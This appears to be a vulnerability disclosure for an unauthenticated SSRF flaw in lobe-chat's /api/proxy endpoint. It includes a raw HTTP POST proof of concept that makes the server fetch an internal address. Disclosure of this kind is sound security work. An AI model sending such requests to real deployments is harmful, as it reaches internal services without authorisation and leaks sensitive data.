lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability

Summary

The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

• visit https://chat-preview.lobehub.com/settings/agent
• you can attack all internal services by /api/proxy and get the echo in http response :)

PoC

POST /api/proxy HTTP/2
Host: xxxxxxxxxxxxxxxxx
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0
Content-Length: 23
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/agent
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7

http://172.23.0.1:8000/

Impact

SSRF ,All users will be impacted.